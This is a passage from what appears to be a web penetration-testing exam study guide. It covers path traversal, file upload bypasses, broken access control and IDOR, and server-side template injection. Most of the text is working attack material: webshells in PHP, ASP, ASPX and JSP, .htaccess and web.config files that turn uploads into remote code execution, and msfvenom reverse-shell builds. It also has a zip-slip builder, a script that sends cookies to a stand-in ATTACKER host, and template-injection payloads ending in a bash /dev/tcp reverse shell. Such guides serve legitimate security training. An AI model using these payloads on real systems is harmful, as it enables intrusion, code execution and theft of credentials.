C:\Users\<user>\.ssh\id_rsaKey theft
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtTyped passwords
C:\Windows\debug\NetSetup.logDomain join info
C:\ProgramData\...\*.configService credentials
# Windows traversal uses backslashes, but forward slashes usually also work in PHP/Java
?file=..\..\..\..\Windows\win.ini
?file=../../../../Windows/win.ini
?file=..%5c..%5c..%5cWindows%5cwin.ini
?file=C:\Windows\win.ini
?file=C:/Windows/win.ini
?file=\\\\10.10.14.5\\share\\x                   # UNC -> NetNTLM capture with responder
# NTFS alternate data stream / short-name tricks
?file=..\..\..\Windows\win.ini::$DATA
?file=..\..\..\PROGRA~1\

8.3.9 Automation

# ffuf against a traversal parameter with a traversal wordlist
ffuf -u 'https://target/?file=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 1234
# match on content instead of size
ffuf -u 'https://target/?file=FUZZ' -w lfi.txt -mr 'root:x:0:0'
# Burp Intruder: sniper on the parameter, payload = LFI list, Grep-Match "root:x:0:0"
# Then Grep-Extract the first 100 bytes to spot partial successes.

Exam tips

  • Try first: ?file=/etc/passwd, then the ../ ladder to depth 8, then php://filter/convert.base64-encode/resource=index.php. The filter wrapper is the single highest-value payload in this class — it hands you the application's source, which usually contains DB credentials and reveals every other sink.
  • Biggest time sink: grinding the traversal depth one ../ at a time. Just send twelve — extra ../ at / are no-ops. Second: not noticing the page returns HTTP 200 with a blank body on success because the included PHP produced no output; always diff response lengths and check view-source.
  • If the response is blank when including a .php file, that is the include-executes-it case — that is RCE-capable. Switch to php://filter to read it, and to a poisoning technique to execute yours.
  • What proves it: root:x:0:0:root:/root:/bin/bash in the response for Linux, the [fonts]/[extensions] blocks of win.ini for Windows, base64-decoded PHP source for the filter wrapper, and id output for the RCE escalation.
  • Record the exact working traversal string (depth + encoding) — every later file read on that host reuses it verbatim.

8.4 File Upload Vulnerabilities

A file upload is only a vulnerability if you can (a) get a dangerous file past validation and (b) reach it in a place where it is interpreted. Both halves are required — a PHP shell in a directory served as text/plain is worthless, and a perfectly executable path with no bypass is worthless too.

8.4.1 The check inventory

Enumerate which checks exist before designing a bypass. Change one thing per request.

CheckImplemented asHow to detect itPrimary bypasses
Extension blacklistreject .php, .asp, ....php rejected, .php7 acceptedalternate extensions, case, double extension, trailing char
Extension whitelistallow only .jpg/.png/.gifeverything else rejecteddouble extension, null byte, .htaccess, polyglot + LFI
Content-Type / MIMEchecks the request headerchange header only → acceptedset Content-Type: image/jpeg
Magic bytes / getimagesize()reads file headervalid header + .php → acceptedprepend GIF89a; or a real JPEG header
Image re-encodingGD/ImageMagick re-savesfile changes on the serversurvives only in EXIF-less-safe cases → use ImageTragick/.htaccess/SVG instead
Size limitbyte caplarge file rejectedminimal webshell (< 40 bytes)
Filename sanitisationstrips path chars../ removedencoded traversal, zip slip
Random renameserver renames fileyou cannot predict the pathneed a path-disclosure or directory listing; else pivot to XXE/SVG/zip slip
Storage outside webrootfiles served via a scriptdirect URL 404spivot to LFI, or path traversal in the download endpoint
Antivirusscans contentknown shells rejectedobfuscate the shell

8.4.2 Extension bypasses

# Double extension — passes "ends with allowed extension" checks and,
# on misconfigured Apache (AddHandler/AddType without SetHandler), still executes as PHP
shell.php.jpg
shell.jpg.php
shell.php%00.jpg          # null byte (PHP < 5.3.4 / some Java filename handling)
shell.php\x00.jpg
shell.php%0a.jpg
# Alternate PHP extensions that many blacklists miss but Apache still maps to PHP
shell.php3   shell.php4   shell.php5   shell.php7   shell.php8
shell.pht    shell.phtm   shell.phtml  shell.phar   shell.pgif
shell.inc    shell.module shell.phps   (phps usually renders source, still useful)
# Alternate extensions on other stacks
# ASP / IIS
shell.asp  shell.aspx  shell.asa  shell.asax  shell.ashx  shell.asmx  shell.cer  shell.cdx  shell.soap
# JSP / Tomcat
shell.jsp  shell.jspx  shell.jsw  shell.jsv  shell.jspf  shell.war
# ColdFusion / Perl / Python / Node
shell.cfm  shell.cfml  shell.cfc  shell.pl  shell.cgi  shell.py  shell.js
# Case variation — blacklists are frequently case-sensitive, filesystems and handlers are not
shell.PHP   shell.pHp   shell.PhP5   shell.AsP   shell.JsP
# Trailing characters stripped by the OS but not by the filter
shell.php.          # trailing dot (Windows strips it)
shell.php...        # multiple dots
shell.php%20        # trailing space
shell.php           # trailing tab / newline: shell.php%09  shell.php%0a
shell.php::$DATA    # NTFS alternate data stream -> writes shell.php
shell.php:.jpg      # NTFS ADS variant
shell.php/          # trailing slash
shell.php/.         # traversal-normalised
# Nested / recursive-strip bypasses (filter removes ".php" once, non-recursively)
shell.p.phphp
shell.pphphp
shell.php.png.php
# Path traversal in the filename — escape the upload directory to a served one
../../../var/www/html/shell.php
..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php
....//....//var/www/html/shell.php
# In multipart, the traversal goes in the filename field:
#   Content-Disposition: form-data; name="file"; filename="../../shell.php"

8.4.3 Content-Type and magic-byte bypasses

POST /upload HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=---B

-----B
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['c']); ?>
-----B--

The Content-Type inside the multipart part is client-supplied — change it freely to image/jpeg, image/png, image/gif, application/pdf. Also try removing the Content-Type line entirely, and duplicating it (image/jpeg then application/x-php) — some parsers take the first, some the last.

Magic bytes (server calls getimagesize(), finfo, mime_content_type, or file):

TypeMagic prefix (paste literally at the top of the file)
GIFGIF89a; or GIF87a;
JPEG\xFF\xD8\xFF\xE0
PNG\x89PNG\r\n\x1a\n
PDF%PDF-1.4
ZIP/JAR/DOCXPK\x03\x04
BMPBM
# Polyglot: valid GIF header, valid PHP. getimagesize() passes, PHP still executes.
printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > shell.php
printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > shell.gif.php
# Real image + appended PHP, keeps EXIF/geometry checks happy
cat real.jpg > shell.jpg.php && echo '<?php system($_GET["c"]); ?>' >> shell.jpg.php
# PHP inside a JPEG EXIF comment — survives some re-encoders that preserve metadata
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg -o shell.php
exiftool -DocumentName='<?php system($_GET["c"]);?>' real.png -o shell.php
# Verify locally what the server will see
file shell.php          # should say: GIF image data
php -r 'var_dump(getimagesize("shell.php"));'

Image re-encoding (GD imagecreatefromjpeg + imagejpeg) destroys appended data and most EXIF. When re-encoding is in place, stop trying to smuggle PHP through the pixels — pivot to .htaccess, SVG, or a non-image vector instead.

8.4.4 Configuration-file upload (turn an "images-only" upload into RCE)

If the upload directory allows you to drop a config file, you can make the server execute otherwise-inert extensions.

# .htaccess — upload this into the uploads directory (Apache, AllowOverride on)
# Makes .jpg files be parsed as PHP; then upload your shell as shell.jpg
AddType application/x-httpd-php .jpg
# Alternative directives when AddType is filtered
AddHandler application/x-httpd-php .jpg
# PHP-FPM setups often need SetHandler instead
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
# .htaccess that re-enables a blocked extension
AddType application/x-httpd-php .pwn
# then upload shell.pwn
<!-- web.config — IIS equivalent, upload into the directory then request shell.jpg -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="phpX" path="*.jpg" verb="*" modules="IsapiModule"
           scriptProcessor="C:\php\php-cgi.exe" resourceType="Unspecified" requireAccess="None"/>
    </handlers>
  </system.webServer>
</configuration>
<!-- web.config with inline classic-ASP execution (no external processor needed) -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
 <system.webServer>
  <handlers accessPolicy="Read, Script, Write"/>
  <defaultDocument><files><add value="web.config"/></files></defaultDocument>
 </system.webServer>
</configuration>
<!-- #%@ Language=VBScript %>
<% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c whoami").StdOut.ReadAll()) %> -->
# php.ini / .user.ini (PHP-FPM with user_ini.filename enabled) — prepend a shell to every PHP page
auto_prepend_file=shell.gif

8.4.5 Minimal webshells

Keep them short — size limits and AV signatures both punish long shells.

<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
<?php passthru($_GET['c']); ?>
<?php echo `$_GET[c]`; ?>
<?php eval($_POST['c']); ?>
<?php @eval($_REQUEST["c"]); ?>
<?php // obfuscated: survives naive signature checks
$f='sys'.'tem'; $f($_GET['c']);
?>
<?php // when system/exec are in disable_functions, try these in order
// proc_open, popen, pcntl_exec, passthru, shell_exec, `backticks`, mail() LD_PRELOAD,
// or fall back to a file-write + include chain.
echo file_get_contents($_GET['f']);
?>
<%-- Classic ASP (.asp) --%>
<% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c " & Request.QueryString("c")).StdOut.ReadAll()) %>
<%-- ASP.NET (.aspx) --%>
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %>
<%
var p = new ProcessStartInfo("cmd.exe","/c "+Request["c"]);
p.UseShellExecute=false; p.RedirectStandardOutput=true;
Response.Write("<pre>"+Process.Start(p).StandardOutput.ReadToEnd()+"</pre>");
%>
<%-- JSP (.jsp) --%>
<%@ page import="java.util.*,java.io.*" %>
<% String c=request.getParameter("c");
   if(c!=null){ Process p=Runtime.getRuntime().exec(c);
   BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
   String l; out.println("<pre>"); while((l=r.readLine())!=null) out.println(l); out.println("</pre>"); } %>
# Full-featured shells shipped with Kali (large; use when size is not a constraint)
/usr/share/webshells/php/php-reverse-shell.php     # edit $ip and $port first
/usr/share/webshells/aspx/cmdasp.aspx
/usr/share/webshells/jsp/cmdjsp.jsp
# Build a WAR for Tomcat manager upload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o s.war
# ASPX / PHP meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o s.aspx
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -o s.php

8.4.6 Finding the upload path

Bypassing validation is useless until you can request the file.

# 1) Read the upload response — it very often contains the path or an id
# 2) View the resulting page source: <img src="/uploads/2024/ab12_shell.jpg">
# 3) Brute force common directories
ffuf -u https://target/FUZZ/shell.php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200
# Common: /uploads /upload /files /file /media /images /img /attachments /assets
#         /static /content /documents /avatars /profile /tmp /data /storage /public
# 4) Directory listing
curl https://target/uploads/
# 5) Recheck after rename: many apps keep the original name in a DB but serve by hash —
#    look for the hash in the JSON response or the page HTML
# 6) If files are served through a script, that script is often traversable:
curl 'https://target/download.php?file=../../../../etc/passwd'
# Confirm execution
curl 'https://target/uploads/shell.php?c=id'
# If it returns the raw source instead, the directory is not configured to execute PHP —
# go back to .htaccess / web.config, or pivot to LFI to include the file:
curl 'https://target/?page=../uploads/shell.jpg&c=id'

8.4.7 Non-executable upload vectors

When execution is genuinely impossible, these still produce findings.

<!-- SVG with XSS — stored XSS if the SVG is served inline (Content-Type: image/svg+xml) -->
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" width="100" height="100">
  <script type="text/javascript">alert(document.domain)</script>
</svg>
<!-- SVG with XXE — local file read via the image processor -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
  <text x="0" y="20">&xxe;</text>
</svg>
<!-- SVG SSRF / blind XXE callback -->
<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://COLLAB/x"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
# ImageMagick / ImageTragick — .mvg or .svg processed by a vulnerable convert
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "https://COLLAB)'
pop graphic-context
# Zip slip — archive extraction writes outside the target directory
mkdir -p x && echo '<?php system($_GET["c"]); ?>' > x/shell.php
# Build an archive whose member name traverses (zip refuses ../ by default; use a builder)
python3 -c "
import zipfile
z=zipfile.ZipFile('slip.zip','w')
z.writestr('../../../../var/www/html/shell.php','<?php system(\$_GET[\"c\"]); ?>')
z.close()"
# Upload slip.zip to an endpoint that auto-extracts, then hit /shell.php?c=id
# Symlink in a tar/zip — read arbitrary files after extraction + download
ln -s /etc/passwd link.txt && tar -cvf evil.tar link.txt
<!-- Stored XSS via an HTML upload (when .html is allowed and served same-origin) -->
<script>fetch('https://ATTACKER/?c='+document.cookie)</script>
# Other high-value non-exec outcomes:
#  - PDF/DOCX with an external entity or remote image -> SSRF / NTLM leak
#  - .eml / .msg parsing -> XXE
#  - CSV formula injection: =cmd|'/c calc'!A1  (DDE, opens in the victim's Excel)
#  - Filename XSS: upload a file named "><img src=x onerror=alert(1)>.jpg
#  - ZIP bomb / huge file -> DoS (note it, do not run it on an exam target)

Exam tips

  • Try first: upload shell.php unchanged to learn what the error message says, then add exactly one bypass at a time — Content-Type: image/jpeg, then GIF89a; prefix, then .php.jpg, then .phtml. The error text tells you which check you are fighting.
  • Biggest time sink: perfecting a bypass without ever confirming the upload directory executes PHP. Upload a known-good file first (test.txt with a marker, and test.php with <?php echo 7*7;?>) and fetch both. If test.php returns <?php echo 7*7;?> as text, no amount of extension trickery will help — go straight to .htaccess, web.config, or an LFI pivot.
  • Second time sink: fighting an image re-encoder. If your appended bytes vanish, stop; use SVG, .htaccess, or zip slip.
  • What proves it: id/whoami output from GET /uploads/shell.php?c=id, or an interactive reverse shell. For non-exec vectors, alert(document.domain) on the target origin (SVG XSS) or /etc/passwd contents (SVG XXE).
  • Note the rename policy. If files get random names, capture the returned name immediately — you usually get one chance per upload.

8.5 Broken Access Control & IDOR

Authorisation is decided per request. Any endpoint that trusts a client-supplied identifier, a client-supplied role, a URL path the front end merely hides, or an HTTP verb/header it does not re-validate is broken. This class needs no exotic payloads — it needs two accounts and discipline.

8.5.1 Taxonomy

TypeDefinitionTest
HorizontalUser A accesses User B's data at the same privilege levelSwap A's identifier for B's while keeping A's session
VerticalA low-privilege user performs a high-privilege actionReplay an admin request with a user session
Context-dependentStep 3 of a workflow reached without steps 1–2Jump straight to the final endpoint
IDORA direct object reference (id, filename, UUID, hash) is not authorisedIncrement / substitute / decode the reference
Forced browsingUnlinked but reachable endpointContent discovery against an authenticated session
Mass assignmentRequest body binds to fields the user should not setAdd role, isAdmin, balance to the JSON
Verb tamperingACL applies to GET onlyResend as POST/PUT/HEAD/PATCH
Header-basedFront-end proxy ACL trusts a headerX-Original-URL, X-Forwarded-For

8.5.2 Systematic two-account method

This is the workflow the exam rewards. Do not skip the setup.

1. Register/obtain TWO accounts:  userA (low priv)  and  userB (low priv)
   plus admin if credentials are provided.
2. Browse the ENTIRE application as userA with Burp proxying. Target -> Site map now
   holds every authenticated endpoint.
3. Repeat as userB. Note every identifier that differs: user id, account number,
   order id, invoice id, document id, ticket id, cart id, API key.
4. For each userA request that contains an identifier:
      a. replace A's id with B's id, keep A's session  -> horizontal test
      b. keep A's id, drop the session entirely        -> unauthenticated test
      c. keep A's id, use B's session                  -> confirms the control exists at all
5. Record: 200 with B's data = vulnerable. 403/404/redirect = enforced.
   200 with A's data = the id is ignored (not a finding, but note it).
6. Repeat with admin endpoints and a low-priv session -> vertical.

Burp Autorize (the fastest way to do all of this at once):

1. Extensions -> BApp Store -> install Autorize.
2. Log in as the LOW-privilege user, copy its Cookie/Authorization header.
3. Autorize tab -> paste that header into "Configure the temporary headers" box.
4. Set "Autorize is off" -> "Autorize is on".
5. Now browse as the HIGH-privilege user (or as userB).
   Autorize replays every request with the low-priv header and colour-codes:
     RED   = Bypassed!          -> access control missing, investigate
     GREEN = Enforced!          -> fine
     ORANGE= Is enforced??? (please configure enforcement detector) -> triage manually
6. Add an enforcement detector (e.g. content filter on "Access denied" / "403")
   to kill the orange noise.
7. Enable "Check unauthenticated" to also test with NO session in one pass.

Match and Replace (cheap, always available, good for a single swap across a whole crawl):

Proxy -> Options (or Settings) -> Match and Replace -> Add
  Type:    Request header
  Match:   ^Cookie: .*$
  Replace: Cookie: session=<userA-session>
  Regex:   yes
# Now browse as userB in the browser; every request is silently sent as userA.
# Remember to DISABLE it afterwards or you will confuse yourself for an hour.

Burp Repeater manual swap — always finish with this for the finding you will report, because it is reproducible and screenshottable.

8.5.3 IDOR identifier patterns

# Sequential integers — the classic
GET /api/invoice/1043        ->  try 1042, 1044, 1, 2
GET /account?id=1337         ->  ?id=1338
# Predictable non-integers
GET /files/2024-06-invoice-0042.pdf      # date + counter
GET /user/am9obg==                        # base64("john") -> base64("admin") = YWRtaW4=
GET /doc/5f4dcc3b5aa765d61d8327deb882cf99 # md5("password") — hash the guessable value
GET /u/ZmY4MTgx                           # base64 of a short id
# UUIDs are not authorisation. Harvest them from anywhere they leak:
#   - other users' profile pages, comments, @mentions, avatars
#   - API list endpoints:  GET /api/users   GET /api/search?q=a
#   - error messages, email headers, PDF metadata, HTML data- attributes
#   - GraphQL introspection / broad queries
# Parameter pollution and array/JSON tricks — the server may take the last or merge
GET /account?id=VICTIM&id=SELF
GET /account?id=SELF&id=VICTIM
POST {"id":"SELF","id":"VICTIM"}
POST {"id":["SELF","VICTIM"]}
POST {"id":{"$ne":"SELF"}}            # if a NoSQL backend, see the NoSQL section
# Identifier hidden in a different location than you expect
Cookie: uid=1337
X-User-Id: 1337
Authorization: Bearer <JWT with "sub":"1337">      # decode and check every claim
POST body:  user_id=1337    account=1337    owner=1337
GraphQL:    { user(id: 1338) { email } }
# Blind IDOR — no data returned, but a side effect happens (email sent, file deleted).
# Confirm by observing the effect on the victim account, or by timing/response-code deltas.

8.5.4 Forced browsing

# Authenticated content discovery — the session cookie is essential
feroxbuster -u https://target/ -H 'Cookie: session=LOWPRIV' \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,asp,aspx,jsp,txt,bak
ffuf -u https://target/FUZZ -H 'Cookie: session=LOWPRIV' \
  -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -mc 200,204,301,302,401,403
# Targets worth guessing by hand
/admin   /administrator  /admin.php  /admin/index.php  /adminpanel  /manage  /management
/console /dashboard  /internal  /staff  /backend  /cp  /moderator  /sysadmin
/api/admin/users   /api/v1/admin   /api/internal   /actuator   /actuator/env
/debug   /test    /dev    /.git/config   /backup    /swagger-ui.html   /api-docs
# Read the front-end for endpoints the UI hides from your role
# - main.js / app.js bundles list every route, including admin ones
grep -oE '"/[a-zA-Z0-9/_-]+"' app.js | sort -u
# - source maps give you the original code
curl https://target/static/js/main.js.map -o main.js.map
# - a role flag in the JSON profile response often gates the UI only:
#   {"user":"bob","role":"user"}  -> change to "admin" in the response with Burp
#   Match-and-Replace on the RESPONSE reveals hidden admin UI, which reveals endpoints.

8.5.5 HTTP verb tampering and method-based bypass

# The ACL protects GET /admin/delete. Try every other verb.
POST /admin/delete HTTP/1.1
GET  -> POST -> PUT -> PATCH -> DELETE -> HEAD -> OPTIONS -> TRACE
# Arbitrary/invalid verbs are also worth one shot: many frameworks treat an unknown
# method as GET while the security filter only matched the named ones.
FOOBAR /admin/delete HTTP/1.1
# Method override headers/params — the app honours them, the proxy ACL does not
POST /admin/delete HTTP/1.1
X-HTTP-Method-Override: DELETE
X-HTTP-Method: DELETE
X-Method-Override: DELETE
POST /admin/delete?_method=DELETE      # Rails/Laravel/Symfony convention
POST body: _method=PUT
# OPTIONS tells you what the server admits to supporting
curl -X OPTIONS https://target/admin/ -i

8.5.6 Path and header-based ACL bypass

Front-end proxies (nginx, HAProxy, WAFs, API gateways) often enforce ACLs on the literal path. Make the back end see a different path than the proxy did.

# X-Original-URL / X-Rewrite-URL — honoured by some back ends (IIS URL Rewrite, Symfony, others)
GET / HTTP/1.1
Host: target
X-Original-URL: /admin/delete?user=carlos
GET / HTTP/1.1
Host: target
X-Rewrite-URL: /admin
# Path normalisation differences between proxy and app
/admin           -> 403
/Admin           -> case
/ADMIN
/admin/          -> trailing slash
/admin/.
/admin/..;/admin
/./admin
//admin
/%2e/admin
/admin%20
/admin%09
/admin..;/
/admin;/
/admin?
/admin#
/admin.json      /admin.php      /admin/.json
/..%2fadmin
/%2561dmin       # double-encoded 'a'
# Source-IP ACLs ("admin panel is localhost-only") trusting a spoofable header
GET /admin HTTP/1.1
Host: target
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: localhost
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1;by=127.0.0.1;host=localhost
# Also try IPv6 and alternate loopback spellings when 127.0.0.1 is explicitly blocked
::1   0.0.0.0   127.1   127.0.0.2   0177.0.0.1   2130706433   localhost
# Burp extension: "403 Bypasser" / "Param Miner" automate the path and header sets above.
# Standalone: byp4xx / dontgo403 run the full matrix against one URL.

8.5.7 Mass assignment / over-posting

The framework binds the request body onto a model object. Fields the UI never shows are still bindable.

# Baseline: what the UI sends
POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"bob","email":"bob@x.tld","password":"P@ss123"}
# Over-post: add privileged fields. Discover names from the GET response of the same object.
POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"bob","email":"bob@x.tld","password":"P@ss123",
 "role":"admin","isAdmin":true,"is_staff":true,"is_superuser":true,
 "admin":1,"verified":true,"emailVerified":true,"accountType":"premium",
 "permissions":["*"],"groups":["administrators"],"balance":999999,
 "credit":999999,"discount":100,"price":0,"status":"approved","id":1}
# Method: GET the object first — the response field names ARE the bindable field names.
GET /api/users/me   ->  {"id":7,"username":"bob","role":"user","credits":10,"verified":false}
# Now PATCH/PUT those exact names back:
PATCH /api/users/7  ->  {"role":"admin","credits":999999,"verified":true}
# Nested binding
{"user":{"profile":{"role":"admin"}}}
{"user.role":"admin"}
{"user[role]":"admin"}
# Form-encoded variant
username=bob&email=bob@x.tld&password=P@ss123&role=admin&isAdmin=true

Burp Param Miner (Guess JSON parameter names / Guess headers) automates discovery of accepted-but-undocumented fields.

8.5.8 Other access-control patterns

# Referer-based access control — trivially spoofed
GET /admin/delete?user=carlos HTTP/1.1
Referer: https://target/admin
# Role in a client-side location: cookie, JWT, hidden field, localStorage
Cookie: role=user           ->  Cookie: role=admin
Cookie: admin=false         ->  Cookie: admin=true
# JWT: decode, flip the claim, then test alg=none / weak secret / kid injection
# Multi-step workflow bypass: POST directly to the final step
POST /checkout/confirm     (skipping /checkout/payment)
POST /password/reset/complete?user=victim&token=   (empty/omitted token)
POST /register/step3       (skipping email verification in step2)
# "Unprotected admin functionality" via robots.txt / sitemap / JS routes
curl https://target/robots.txt          # Disallow: /administrator-panel

Exam tips

  • Try first: two accounts, then swap the numeric id in the most data-rich authenticated endpoint you have. That single test finds more exam findings than any payload in this document.
  • Biggest time sink: testing access control with only one account, so you cannot tell "the control is missing" from "the id is ignored". Register the second account before you start.
  • Second: leaving Match-and-Replace enabled and then misattributing every subsequent result.
  • Always run the unauthenticated variant too — dropping the Cookie header entirely. A surprising number of API endpoints never check.
  • What proves it: the other user's data (their email, their order, their document) returned in a response sent with your session, side by side with the same request under their own session. Screenshot both. For vertical, the admin action actually taking effect (user deleted, role changed) as verified from a second browser.
  • If a 403 is returned by a front-end server (check the Server header and error-page style — it often differs from the app's own errors), go straight to 8.5.6; the back end probably has no control at all.

8.6 Server-Side Template Injection (SSTI)

User input is concatenated into a template rather than passed as template data. The template engine then evaluates it server-side. SSTI is almost always RCE, and it is one of the highest-value findings on the eWPTX.

# Vulnerable (input becomes part of the template)
render_template_string("Hello " + request.args.get('name'))
# Safe (input is data)
render_template_string("Hello {{ name }}", name=request.args.get('name'))

Where it hides: email/notification templates, "customise your page" features, name/nickname fields rendered back, PDF/report generators, error pages that echo input, subject lines, marketing/CMS blocks, Wiki/markdown extensions, and any parameter whose output is rendered in a themed page.

8.6.1 Detection

# Step 1: polyglot — breaks the syntax of every common engine at once.
# A 500/stack trace/odd output means the input hits a template parser.
${{<%[%'"}}%\
# Step 2: if the polyglot errors, confirm evaluation with arithmetic in each syntax.
{{7*7}}            -> 49   Jinja2, Twig, Nunjucks, Handlebars(no), Django(no)
${7*7}             -> 49   Freemarker, Velocity(no), JSP EL, Thymeleaf, Mako(no)
${{7*7}}           -> 49   some Spring/Thymeleaf configurations
<%= 7*7 %>         -> 49   ERB (Ruby), EJS (Node), ASP/JSP scriptlet
#{7*7}             -> 49   Ruby string interpolation, Pug/Jade, Thymeleaf(preproc), JSF EL
{7*7}              -> 49   Smarty
@(7*7)             -> 49   Razor (.NET)
#set($x=7*7)$x     -> 49   Velocity
{{7*'7'}}          -> 7777777 (Jinja2)  |  49 (Twig)   <-- the key discriminator
# Step 3: prove it is SERVER-side, not client-side (AngularJS {{ }} also renders 49).
# View the raw HTTP response with curl. If 49 is in the raw bytes, it is server-side.
curl -s 'https://target/?name=%7B%7B7*7%7D%7D' | grep 49

8.6.2 Identification decision tree

                          send  ${7*7}
                          /              \
                    49 / error         not evaluated
                      /                     |
            send  {{7*7}}              send {{7*7}}
             /        \                  /         \
        49            49            49              not evaluated
         |             |             |                    |
   ${{7*7}} works  Freemarker    send {{7*'7'}}      send <%= 7*7 %>
   -> Thymeleaf    / Velocity     /         \          /          \
      / Spring EL  (test          7777777    49      49            #{7*7}?
                   #set($x=1))    |          |       |                |
                                Jinja2     Twig    ERB/EJS       Pug / Ruby
                                (Python)   (PHP)   (Ruby/Node)   / Thymeleaf
                                                                  preprocessing

   {7*7} -> 49 with {{7*7}} NOT evaluated    -> Smarty
   @(7*7) -> 49                              -> Razor (.NET)
   {{7*7}} evaluated only in the browser DOM -> AngularJS client-side (see 8.1)

Confirm the engine before spending time on payloads — a Jinja2 payload in Twig produces nothing and wastes minutes. Useful engine-fingerprint probes:

{{ self }}                          # Jinja2: <TemplateReference None>
{{ _self }}                         # Twig: prints the template object
{{ 7|abs }}                         # Jinja2/Twig filter syntax accepted
${"".getClass()}                    # Freemarker/Java: prints class java.lang.String
{{ config }}                        # Flask/Jinja2: dumps the entire app config (incl. SECRET_KEY)
{{ settings.SECRET_KEY }}           # Django (Django templates are sandboxed; rarely RCE)

8.6.3 RCE payloads by engine

Jinja2 / Flask (Python)

{# Information disclosure first — config often holds SECRET_KEY and DB URIs #}
{{ config }}
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
{# Shortest reliable RCE: lipsum is a global with __globals__ exposing os #}
{{ lipsum.__globals__['os'].popen('id').read() }}
{# cycler variant — use when lipsum is absent #}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{# joiner/namespace variants #}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{# request-object route (Flask specific) #}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
{# self/TemplateReference route #}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{# Classic subclass hunt — use when the shortcuts are blocked.
   1) list the subclasses, 2) find the index of subprocess.Popen or os._wrap_close #}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0] }}
{# find the index programmatically instead of guessing: #}
{% for c in ''.__class__.__mro__[1].__subclasses__() %}{% if 'Popen' in c.__name__ %}{{ loop.index0 }}{% endif %}{% endfor %}
{# Filter bypasses: no dots, no quotes, no underscores #}
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}                      {# hex-escaped __class__ #}
{{ request|attr(["__cl","ass__"]|join) }}                   {# string concat via join #}
{{ request|attr(request.args.f)|attr(request.args.g) }}     {# names smuggled in params #}
{{ ()|attr(request.headers.h) }}                            {# names smuggled in headers #}
{% set a=request|attr('application') %}{% set b=a|attr('__globals__') %}{{ b['__builtins__']['__import__']('os').popen('id').read() }}
{# Reverse shell #}
{{ lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"').read() }}

Twig (PHP)

{# Twig 1.x / 2.x — register a filter callback pointing at a PHP function #}
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{# Twig 1.x/2.x variant using system #}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id;cat /etc/passwd") }}
{# Twig 3.x — the filter/map/sort/reduce filters accept a callable #}
{{ ['id']|filter('system') }}
{{ ['id']|map('system') }}
{{ ['id',1]|sort('system') }}
{{ ['id',0]|reduce('system') }}
{{ [0,'id']|reduce('passthru') }}
{# Symfony-specific gadget (Twig with the Symfony bridge) #}
{{ app.request.query.filter(0,0,1024,{'options':'system','filter':'exec'}) }}
{# Info gathering #}
{{ _self }}
{{ dump(app) }}
{{ "/etc/passwd"|file_excerpt(1,30) }}

Freemarker (Java)

<#-- Canonical Execute-utility RCE -->
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#-- ObjectConstructor variant -->
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
<#-- JythonRuntime variant -->
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("id")</@value>
<#-- Newer sandbox-aware payload via the API -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
<#-- Reverse shell -->
